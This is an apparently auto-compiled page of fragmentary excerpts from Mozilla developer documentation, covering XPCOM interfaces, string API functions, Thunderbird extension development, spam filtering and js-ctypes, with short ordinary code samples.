1.0 66 introduced gecko 1.8 inherits from: nsifeedresultlistener last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); methods handleentry() cal...
...led after each entry or item is processed.
... void handlefeedatfirstentry( in nsifeedresult result ); parameters result an nsifeedresult describing the feed at the point at which the first entry is found, but before processing it.
... linenumber the line on which the error occurred.
nsIFrameMessageListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is used when implementing out-of-process handling of frames; the process handling a frame should implement this interface in order to receive messages.
...called to deliver a message to the frame handling process; called with one parameter, which has the following properties: name the name of the message.
... sync a boolean value indicating whether or not the message should be handled synchronously.
... json the json object in which to return the response if the message is being handled synchronously.
nsIFrameMessageManager
1.0 66 introduced gecko 2.0 obsolete gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) this interface is obsolete and was removed in firefox 17.
... void addmessagelistener( in astring amessage, in nsiframemessagelistener alistener [optional in boolean listenwhenclosed ); parameters amessage the name of the message for which to add a listener.
... void removemessagelistener( in astring amessage, in nsiframemessagelistener alistener ); parameters amessage the name of the message for which to remove a listener.
... sendasyncmessage() asynchronously sends a message to the listeners.
nsIHttpActivityObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
...void observeactivity( in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata ); parameters ahttpchannel the nsihttpchannel on which the activity occurred.
...atimestamp the time at which the activity occurred, specified as microseconds elapsed since the epoch of midnight on january 1, 1970.
...because a single http transaction may consist of multiple chunks of data transmitted through separate socket writes, each socket activity notification will only reflect the number of bytes transmitted in that chunk.
nsIHttpUpgradeListener
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable the callback interface for nsihttpchannelinternal.httpupgrade; this is called when an http protocol upgrade is finished.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this is used, for example, by websockets in order to upgrade an http channel to use the websocket protocol.
... method overview void ontransportavailable(in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout); methods ontransportavailable() called when an http protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the channel that is no longer being used by http.
... note: to begin a protocol upgrade, call nsihttpchannelinternal.httpupgrade().
nsILocale
intl/locale/idl/nsilocale.idlscriptable represents one locale, which can be used for things like sorting text strings and formatting numbers, dates and times.
... inherits from: nsisupports last changed in gecko 1.0 method overview astring getcategory(in astring category); methods getcategory() retrieves a string with the current locale name.
...nsilocale_ctype - character classification and case conversion.
...nsilocale_messages - related to fonts, character encodings and so on.
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message senders enable clients to send asynchronous messages to a single "other side".
... for example, a child-process message manager will send messages that are only delivered to its one parent-process message manager.
... an object each of whose properties is an object.
... this becomes the objects property of the received message, with each original object replaced with a cross process object wrapper for it.
nsIMessageWakeupService
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13).
... the parentprocessmessagemanager is used for this, so messages send from childprocessmessagemanagers will be heard.
...the easiest way to do this is to add the appropriate entry to the chrome manifest that registers your component (see category in "chrome registration").
... a comma-separated list of messages for which your component should be instantiated.
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides methods for observing changes to micrummaries.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods oncontentloaded() called when an observed microsummary updates its content.
... since an observer might watch multiple microsummaries at the same time, the microsummary whose content has been updated gets passed to this handler.
...void onerror( in nsimicrosummary microsummary ); parameters microsummary the microsumary which could not be updated.
nsIMsgCompFields
properties attribute type description attachments char * obsolete attachments obsolete, do not use anymore attachmentsarray nsisupportsarray readonly attachvcard prbool bcc astring body astring bodyisasciionly prbool cc astring characterset char * defaultcharacterset char * readonly drafid char * dsn prbool fcc astring fcc2 astring followupto char * forcemsgencoding prbool forceplainte...
...(bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body.
...(bug 249530) newsgroups astring newshost char * newsposturl char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype print32 references char * replyto astring securityinfo nsisupports subject astring templatename astring temporaryfiles char * obsolete temporaryfiles obsolete, do not use anymore to astring usemultipartalternative...
... prbool uuencodeattachments prbool methods utility methods prbool checkcharsetconversion ( out char * fallbackcharset ); nsimsgrecipientarray splitrecipients ( in prunichar * recipients, in prbool emailaddressonly ); void convertbodytoplaintext ( ); attachment handling methods void addattachment ( in nsimsgattachment attachment ); void removeattachment ( in nsimsgattachment attachment ); void removeattachments ( ); header methods void setheader(char* name, char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following method...
nsIMsgWindowCommands
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the javascript implementation of this used by thunderbird is given here.
... method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the backend to change the folder displayed in the message window.
... selectmessage() this method is called by the backend to change the displayed message.
... for instance, when deleting attachments, this causes the message to be redisplayed.
nsINavHistoryQueryResultNode
1.0 66 introduced gecko 1.8 inherits from: nsinavhistorycontainerresultnode last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: if you request that places not be expanded in the options that generated the node, the node will report that it has no children and will never try to populate itself.
... queryoptions nsinavhistoryqueryoptions the options that group the node's children; only valid for result_type_query nodes.
... methods getqueries() returns the queries that build the node's children; only valid for result_type_query nodes.
...queries an array of nsinavhistoryquery objects describing the set of queries that build the node's children.
nsIParserUtils
1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead.
... sanitizerdropnoncsspresentation (1 << 3) flag for sanitizer: drops non-css presentational html elements and attributes, such as <font>, <center>, and the bgcolor attribute.
... wrapcol number of characters per line; 0 for no auto-wrapping.
... the sanitizer is designed to protect against xss when sanitized content is inserted into a different-origin context without an iframe-equivalent sandboxing mechanism.
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable this interface is simply a wrapper interface for nsisupportsstring so the preferences service can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, which get their default values from properites files.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring provides access to string data stored in this property.
...this value should not include space for the null terminator, nor should it account for the size of a character.
... it should only be the number of characters for which there is space in the string.
nsIProfile
66 introduced gecko 0.9 deprecated gecko 1.8.1 obsolete gecko 20.0 inherits from: nsisupports last changed in gecko 1.6 implemented by: @mozilla.org/profile/manager;1.
... to get access to the profile manager service: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.nsiprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
... constants profile shutdown types constant value description shutdown_persist 0x00000001 when shutting down the profile, save all changes.
... shutdown_cleanse 0x00000002 when shutting down the profile, discard changes.
nsIPropertyBag
inherits from: nsisupports last changed in gecko 1.0 method overview nsivariant getproperty(in astring name); attributes attribute type description enumerator nsisimpleenumerator get a nsisimpleenumerator whose elements are nsiproperty objects.
... nsivariant getproperty( in astring name ); parameters name the name to return the matching property.
... return value the property matching the given name.
...to do this use nsipropertybag: services.sysinfo.getproperty("version"); //output 5.1 services.sysinfo.getproperty("name"); //output windows_nt services.sysinfo.getproperty("arch"); //output x86 services.sysinfo.getproperty("haswindowstouchinterface"); //outputs false or true if windows touch is there consult the uxp repo (//github.com/realityripple/uxp/blob/master/xpcom/base/nssysteminfo.cpp) for the properties supported.
nsIProtocolProxyFilter
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface is used to apply filters to the proxies selected for a given uri.
...this is passed so that implementations may easily access methods such as newproxyinfo.
... auri the uri for which these proxy settings apply.
...this can be just be aproxy if the filter chooses not to modify the proxy.
nsIScriptableInputStream
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream.
... return value the data read as a string, which will be an empty string if the stream is at eof.
... return value the data from the stream, which will be an empty string if eof has been reached.
...excerpt of the stream for this stream article is here, this is only an excerpt so cannot copy paste this code into scratchpad.
nsIServiceManager
inherits from: nsisupports last changed in gecko 1.0 method overview void getservice(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getservicebycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); boolean isserviceinstantiated(in nscidref aclass, in nsiidref aiid); boolean isserviceinstantiatedbycontractid(in string acontractid, in nsiidref aiid); methods getservice() this method returns a reference to a particular xpcom s...
...unlike createinstance, this will always return the same object each time it is called with the same arguments.
...in some language bindings, such as javascript, this step is unnecessary.
... and, moreover such languages typically offer more convenient mechanisms to acquire references to xpcom services and components.
nsIStringBundle
inherits from: nsisupports last changed in gecko 1.7 this interface is used by xul:stringbundle to retrieve strings.
...th); wstring formatstringfromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
... formatstringfromname() returns a formatted string with the given key name from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
...string id's are assigned by the order in which they are stored in the properties file.
nsIStyleSheetService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports implemented by: @mozilla.org/content/style-sheet-service;1.
... boolean sheetregistered(in nsiuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); constants constant value description agent_sheet 0 user_sheet 1 author_sheet 2 methods loadandregistersheet() synchronously loads a style sheet from sheeturi and adds it to the list of user or agent style sheets.
... a user sheet loaded via this api will come before usercontent.css and userchrome.css in the cascade (so the rules in it will have lower precedence than rules in those sheets).
... sheetregistered() check if a stylesheet has been registered boolean sheetregistered( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to check.
nsITaggingService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-service;1.
...tags in atags which are already set for the given uri are ignored.
...tags from atags which are not set for the given uri are ignored.
...nsivariant gettagsforuri( in nsiuri auri, [optional] out unsigned long length, [retval, array, size_is(length)] out wstring atags ); parameters auri the uri for which to return the tags.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocompose = false; break; } return true...
...; } catch (e) { return false; } }, setcomposition: function simpleime_setcomposition(atext, aclauses, acaret) { if (!this._tip) { this._tip = components.classes["@mozilla.org/text-input-processor;1"].
... boolean onnotify(in nsitextinputprocessor atextinputprocessor, in nsitextinputprocessornotification anotification); parameters atextinputprocessor the instance which receives the notification.
nsIThreadManager
the nsithreadmanager interface lets applications and extensions create and manage threads, each of which is represented by an nsithread.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nsithread getthreadfromprthread(in prthread prthread); native code only!
... nsithread getthreadfromprthread( in prthread prthread ); parameters prthread the prthread for which to retrieve the corresponding nsithread.
... return value the nsithread matching the specified prthread, or null if there is no matching nsithread.
nsIThreadPool
1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread.
... a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispatching the first event.
... threadlimit unsigned long the maximum number of threads allowed at once in the pool; you may change this value by altering this attribute.
... when this method returns, the thread pool and all its threads will have been shut down, and it is no longer be possible to dispatch events to the thread pool.
nsITransport
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface provides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource.
... asegmentsize if open_unbuffered is not set, then this parameter specifies the size of each buffer segment (pass 0 to use default value).
... asegmentsize if open_unbuffered is not set, then this parameter specifies the size of each buffer segment (pass 0 to use default value).
...aeventtarget indicates the event target to which the notifications should be delivered.
nsIURLParser
inherits from: nsisupports last changed in gecko 1.7 method overview void parseauthority(in string authority, in long authoritylen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parsefilename(in string filename, in long filenamelen, out unsigned long basenamepos, out long basenamelen, out unsigned long extensionpos, out long extensionlen); void parsefilepath(in string filepath, in long filepathlen, out unsigned long directorypos, out long directorylen, out unsigned long basenamepos, out long basenam...
...en, out unsigned long filepathpos, out long filepathlen, out unsigned long parampos, out long paramlen, out unsigned long querypos, out long querylen, out unsigned long refpos, out long reflen); void parseserverinfo(in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parseurl(in string spec, in long speclen, out unsigned long schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen); void parseuserinfo(in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen); methods the string to parse in the methods may be given as a null terminated string, in which case ...
...obsolete since gecko 9.0 querypos querylen refpos reflen parseserverinfo() serverinfo = <hostname>:<port> void parseserverinfo( in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port ); parameters serverinfo serverinfolen hostnamepos hostnamelen port parseurl() breaks the url string up into its 3 major components: a scheme, an authority section (hostname, and so on.), and a path.
... spec = <scheme>://<authority><path> void parseurl( in string spec, in long speclen, out unsigned long schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen ); parameters spec speclen schemepos schemelen authoritypos authoritylen pathpos pathlen parseuserinfo() userinfo = <username>:<password> void parseuserinfo( in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen ); parameters userinfo userinfolen usernamepos usernamelen passwordpos passwordlen notes starting in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), this no longer treats the semicolon as a "parameter strin...
nsIUpdateTimerManager
these timers are used to schedule update checks in the future, for example.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registertimer(in astring id, in nsitimercallback callback, in unsigned long interval); methods registertimer() presents a user interface that checks for and displays the available updates.
...gister an update-timer category with comma-separated values as a single string representing the timer, like this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + "preference," + "interval" }], this allows you to schedule the timer without actually having to instantiate the component; instead, the component is instantiated when the timer is triggered.
... see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiupdatepatch nsiapplicationupdateservice nsiupdatemanager nsiupdateprompt ...
nsIWebProgressListener2
last changed in gecko 1.9 (firefox 3) inherits from: nsiwebprogresslistener method overview void onprogresschange64(in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress); boolean onrefreshattempted(in nsiwebprogress awebprogress, in nsiuri arefreshuri, in long amillis, in boolean asameuri); methods onprogresschange64() notification that the progress has changed for one of the requests associated with awebprogress.
... progress totals are reset to zero when all requests in awebprogress complete (corresponding to onstatechange being called with astateflags including the state_stop and state_is_window flags).
... this function is identical to nsiwebprogresslistener.onprogresschange(), except that this function supports 64-bit values.
...void onprogresschange64( in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress ); parameters awebprogress the nsiwebprogress instance that fired the notification.
nsIWinTaskbar
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) starting with windows 7, applications gain some control over their appearance in the taskbar.
...warning: this api has undergone changes that are not yet documented.
...ttaskbarprogress(in nsidocshell shell); nsitaskbarwindowpreview gettaskbarwindowpreview(in nsidocshell shell); void setgroupidforwindow(in nsidomwindow aparent, in astring aidentifier); attributes attribute type description available boolean returns true if the operating system supports windows 7 or later taskbar features; you can use this instead of in-place operating system version checking.
...nsitaskbartabpreview createtaskbartabpreview( in nsidocshell shell, in nsitaskbarpreviewcontroller controller ); parameters shell an nsidocshell object representing the top-level window from which to create the preview.
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
...exceptions thrown domexception if there is no matching instance data.
...though the script is assumed to have modified instance data prior to invoking recalculate, the dom mutations are not cached.
... thus, a full recalculation is necessary to ensure the proper changes are effected throughout the xforms model.
NS_CStringContainerInit2
#include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize.
... adata [in] an array of characters used to initialize the string object.
...it is generally better to use one of the helper classes, such as nscstring, instead of coding directly to ns_cstringcontainerinit2 because those classes take care of cleaning up the string object when it goes out of scope.
...this is significant as it allows the programmer to be certain that ns_cstringgetdata will return a null-terminated character array.
NS_CStringInsertData
#include "nsstringapi.h" nsresult ns_cstringinsertdata( nsacstring& astring, pruint32 aoffset, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... aoffset [in] an offset into the string's internal buffer specifying where to place the given characters.
... adata [in] a raw character array to copy into this string.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringinsertdata(str, 5, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringAppendData
#include "nsstringapi.h" nsresult ns_stringappenddata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to be modified.
... adata [in] a raw character array to copy into this string.
... remarks this function is defined inline as a wrapper around ns_stringsetdatarange note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringappenddata(str, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
nsMsgMessageFlags
offline 0x00000080 indicates whether or not we have this message in the offline cache.
... watched 0x00000100 indicates whether or not this thread is being watched.
... attachment 0x10000000 indicates whether or not the message has an attachment.
... runtimeonly 0x00000020 indicates the flags which are not emitted to the database.
Frequently Asked Questions
ns_precondition "you can't dereference a null nscomptr with operator->()" ns_precondition "you can't dereference a null nscomptr with operator*()" other issues printf("%x\n", mynscomptr); can cause the program to crash on sigill (illegal instruction), and not on the line with the printf, which can make it tricky to figure out.
...e.g., using blocks as in this sample // the most efficient scheme is to scope your |nscomptr| to live exactly as long // as you need to hold the reference nsresult somelongfunction( nsibar* abar ) { nsresult rv; // ...
... nscomptr<nsifoo> foo( do_queryinterface(abar, &rv) ); if ( foo ) foo->dosomefoothing(); // |foo| goes out of scope, and so |release|s its referent, here } // ...tons of stuff here, during which i don't need an |nsifoo| return rv; } editors note: move this discussion to the efficiency section, and link to it from here.
...no matter which code pattern you use to solve this problem, you should comment it, e.g., // warning: this getter doesn't addref() its result.
Using nsIPasswordManager
zachlipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x.
...to do so securely, they can use nsipasswordmanager, which provides for secure storage of sensitive password information.
...the example below should serve as a starting point: // the host name of the password we are looking for var querystring = 'http://www.example.com'; // ask the password manager for an enumerator: var e = passwordmanager.enumerator; // step through each password in the password manager until we find the one we want: while (e.hasmoreelements()) { try { // get an nsipassword object out of the password manager.
... alert(pass.user); // the username alert(pass.password); // the password break; } } catch (ex) { // do something if decrypting the password failed--probably a continue } } note that the user will be prompted for their master password if they have chosen to set one to secure their passwords.
Working with out parameters
adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call.
...usage in order to use such a method from javascript via xpconnect, you have to follow a specific rule.
...after the call, this object will have a new property called value, which contains the out values.
...implementation when implementing a method which has out parameters in javascript, you have to set a new property called value to the out parameter which will hold the required value.
XPIDL Syntax
MozillaTechXPIDLSyntax
a `%{' that appears at the beginning of a line is the start of a raw code fragment, which extends until the end of a line that begins with `%}'.
... literal = octal_literal / decimal_literal / hex_literal / floating_literal literal /= string_literal / char_literal literal /= "true" / "false" ; in regex: /"[^"\n]*["\n]/.
... string_literal = 1*(%x22 *(any char except %x22 or %x0a) (%x22 / %x0a)) ; same as above, but s/"/'/g char_literal = 1*(%x27 *(any char except %x27 or %x0a) (%x27 / %x0a)) type_spec = "float" / "double" / "string" / "wstring" type_spec /= ["unsigned"] ("short" / "long" / "long" "long") type_spec /= "char" / "wchar" / "boolean" / "octet" type_spec /= scoped_name prop_list = "[" *(property ",") property "]" property = ident [parens] raise_list = "raises" "(" *(scoped_name) ",") scoped_name ")" scoped_name = *(ident "::") ident / "::" ident ; in regex: [a-za-z_][a-za-z0-9_]*; identifiers beginning with _ cause warnings ident = (%x41-5a / %x61-7a / "_") *(%x41-5a / %x61-7a / %x30-39 / "_") parens = "(" 1*(any char except ")") ")" functionality not use...
...the following is a list of potential features which are parseable but may not result in expected code: struct, union, and enumerated types array declarators (appears to be supported in xpidl_header.c but not xpidl_typelib.c) exception declarations module declarations variable arguments (that makes the abnf get more wonky) sequence types max-length strings fixed-point numbers "any" and "long double" types.
Events
some of these are standard events, such as those created by the dom.
... compose-send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a cached compose window has been reopened.
... ondisplayingfolder a folder gets displayed onfolderloading a folder is being loaded onleavingfolder a folder is being unloaded, includes deletion onloadingfolder a folder is being loaded onmakeactive a folderdisplaywidget becomes active onmessagecountschanged the counts of the messages changed onmessagesloaded the messages in the folder have been loaded onmessagesremovalfailed removing some messages from the current folder failed onmessagesremoved some messages of the current message list have been removed onsearching a folder view derived from a search is being loaded, e.g.
... saved searches, virtual folders, a quicksearch onsortchanged the sort method in the messages list has been changed ...
Spam filtering
on spam detection, the user can choose to move spam to a special "junk" folder.
... the purge code is implemented as a search of the "junk" folder, looking for "old" message that have the proper junk status.
... elaborate on the mime changes that were made for spam.
... initial state user action table changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, add tokens to bad not junk mark as not junk no op junk mark as junk no op junk mark as not junk remove tokens from bad, add tokens to good ...
Building a Thunderbird extension 6: Adding JavaScript
much of it may no longer be relevant.
...the event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the document's dom tree.
... it then uses javascript's date class to get the current date, which it converts into a string that has the format of yyyy.mm.dd.
... further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascript cheat sheet very useful.
Add Option to Context Menu
assuming this on chrome.manifest: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myext/content/thunderbird-overlay.xul add the next in thunderbird-overlay.xul.
...mple" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concise and cool label" oncommand="alert('hi')"/> </popup> </overlay> for thunderbird 2 and 3 in the same xpi if our extension needs to support thunderbird 2 and 3 we need to make custom overlays for each version.
... this can be reached by adding these lines to the chrome.manifest file: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb2.xul appversion<3.0 overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb3.xul appversion=>3.0 than we need two overlay xul files with content from examples above.
...for more details see chrome registration.
libmime content type handlers
by richard h.
... /* * this interface is implemented by content type handlers that will be * called upon by libmime to process various attachments types.
... the primary * purpose of these handlers will be to represent the attached data in a * viewable html format that is useful for the user * * note: these will all register by their content type prefixed by the * following: mimecth:text/vcard * * libmime will then use nscomponentmanager::contractidtoclsid() to * locate the appropriate content type handler */ #ifndef nsimimecontenttypehandler_h_ #define nsimimecontenttypehandler_h_ typedef struct { prbool force_inline_display; } contenttypehandlerinitstruct; #include "prtypes.h" #include "nsisupports.h" #include "mimecth.h" // {20dabd99-f8b5-11d2-8ee0-00a024a7d144} #define ns_imime_content_type_handler_iid \ { 0x20dabd99, 0xf8b5, 0x11d2, \ { 0x8e, 0xe0, 0x0, 0xa0, 0x24, 0xa7, ...
...0xd1, 0x44 } } class nsimimecontenttypehandler : public nsisupports { public: static const nsiid& getiid() { static nsiid iid = ns_imime_content_type_handler_iid; return iid; } ns_imethod getcontenttype(char **contenttype) = 0; ns_imethod createcontenttypehandlerclass(const char *content_type, contenttypehandlerinitstruct *initstruct, mimeobjectclass **objclass) = 0; }; #endif /* nsimimecontenttypehandler_h_ */ plugin installation/location the installation of these modules will be similar to the that of any xpcom component (i.e.
Thunderbird
these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox.
... thunderbird is built on the same technical platform as the firefox web browser.
... currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment.
... community thunderbird product home page thunderbird project community pages user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird communication channels ...
XPI
cross-platform installer module (xpi) is a zip file used to install packages, utilizing the xpinstall technology.
... an xpi contains installation instructions (install.js or install.rdf) as well as the actual software to install, which is often itself packaged as a jar file.
... xpi archives only support files stored uncompressed or compressed using the "deflate" method.
... when xpi files are served via http, the application/x-xpinstall mime type should be matched with the xpi file extension.
Declaring and Using Callbacks
c functions occasionally take function pointers as arguments, which are generally used as callbacks.
... warning: callbacks must be invoked on the same thread with which they were registered.
... the return type of the javascript callback must match the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type".
...ents are passed to the callback constructor, the second is used as the this parameter: function myjscallback() { alert(this.message); }; var receiver = { message: 'hi there!' }; var callback = funcptrtype(myjscallback, receiver); // alerts with 'hi there' when the callback is invoked if three arguments are passed to the callback constructor, the third argument is used as a sentinel value which the callback returns if an exception is thrown.
CType
the specific properties and methods on each object vary depending on the data type represented.
... there are several kinds of types: primitive types these are typical unstructured data, such as the predefined types listed in predefined data types.
... big integer types the int64 and uint64 types provide access to 64-bit integer values, which javascript doesn't currently support.
... methods available on all ctype objects array() returns a new ctype representing an array of elements of the type on which it was called.
Browser Side Plug-in API - Plugins
« previousnext » this chapter describes methods in the plug-in api that are available from the browser.
